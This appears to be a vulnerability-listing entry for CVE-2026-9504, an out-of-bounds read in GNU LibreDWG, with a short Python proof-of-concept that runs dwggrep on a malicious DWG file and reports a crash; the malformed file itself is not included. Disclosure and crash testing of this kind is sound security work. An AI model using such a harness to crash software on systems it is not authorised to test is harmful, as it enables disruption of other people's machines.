CVE-2026-9504 GNU LibreDWG越界读取漏洞

# Proof of Concept for CVE-2026-9504 # This script demonstrates how to trigger the vulnerability by processing a malicious DWG file. # Note: Requires a vulnerable version of LibreDWG and a malicious file. import subprocess import os def trigger_poc(malicious_file): """ Executes the vulnerable dwggrep utility against a malicious file. """ if not os.path.exists(malicious_file): print(f"Error: File {malicious_file} not found.") return try: print(f"[*] Triggering dwggrep with {malicious_file}...") # Calling the vulnerable component: dwggrep result = subprocess.run( ['dwggrep', malicious_file], capture_output=True, text=True, timeout=10 ) print("Stdout:", result.stdout) print("Stderr:", result.stderr) print("Return Code:", result.returncode) # A crash or specific output indicates successful triggering of the OOB read if result.returncode < 0: print("[+] Process crashed (Signal {}). Potential vulnerability triggered.".format(-result.returncode)) except Exception as e: print(f"An error occurred: {e}") if __name__ == "__main__": # Replace 'malicious.dwg' with the actual path to the PoC file # e.g., libredwg_6d6a339_heap_overflow_bit_convert_TU.dwg poc_file = "malicious.dwg" trigger_poc(poc_file)